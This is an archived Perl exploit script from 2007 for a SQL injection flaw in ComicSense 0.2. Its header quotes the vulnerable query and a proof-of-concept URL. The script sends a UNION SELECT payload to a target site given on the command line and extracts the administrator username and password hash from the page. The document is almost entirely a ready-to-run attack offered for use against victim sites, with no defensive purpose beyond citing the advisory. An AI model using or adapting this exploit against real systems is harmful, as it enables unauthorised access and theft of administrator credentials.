comicsense02-sql.txt
Posted on 07 June 2007
#!/usr/bin/perl -w ################################################################################# # # # ComicSense 0.2 SQL Injection Exploit # # # # Discovered by: s0cratex # # Payload: Admin Username & Hash Retrieval # # Website: http://www.w4ck1ng.com # # # # Original Advisory: http://seclists.org/bugtraq/2007/Jun/0063.html # # http://milw0rm.com/exploits/4035 # # # # Vulnerable Code (index.php): # # # # $sqlQuery = "SELECT * FROM " . $prefix . "comic WHERE episodenr = $epi"; # # # # PoC: http://victim.com/index.php?epi=-999 UNION SELECT username,0,password # # FROM users LIMIT 1 # # # # Subject To: Nothing # # GoogleDork: Get your own! # # # # Shoutz: The entire w4ck1ng community & s0cratex # # # ################################################################################# use LWP::UserAgent; if (@ARGV < 1){ print "------------------------------------------------------------------------- "; print " ComicSense 0.2 SQL Injection Exploit "; print "------------------------------------------------------------------------- "; print "Usage: w4ck1ng_comicsense.pl [PATH] "; print "[PATH] = Path where ComicSense is located "; print "e.g. w4ck1ng_comicsense.pl http://victim.com/comic/ "; print "------------------------------------------------------------------------- "; print " http://www.w4ck1ng.com "; print " ...Silentz "; print "------------------------------------------------------------------------- "; exit(); } $b = LWP::UserAgent->new() or die "Could not initialize browser "; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $host = $ARGV[0] . "index.php?epi=-999 UNION SELECT username,0,password FROM users LIMIT 1"; $res = $b->request(HTTP::Request->new(GET=>$host)); $res->content =~ /.jpg" alt="#(.*?):/; ($user) = $res->content =~ /.jpg" alt="#(.*?):/; ($hash) = $res->content =~ /: ([0-9a-fA-F]{32})" />/; if($user && $hash){ print "------------------------------------------------------------------------- "; print " ComicSense 0.2 SQL Injection Exploit "; print "------------------------------------------------------------------------- "; print "[+] Admin User : $user "; print "[+] Admin Hash : $hash "; print "------------------------------------------------------------------------- "; print " http://www.w4ck1ng.com "; print " ...Silentz "; print "------------------------------------------------------------------------- "; } else { print " Exploit Failed... "; }
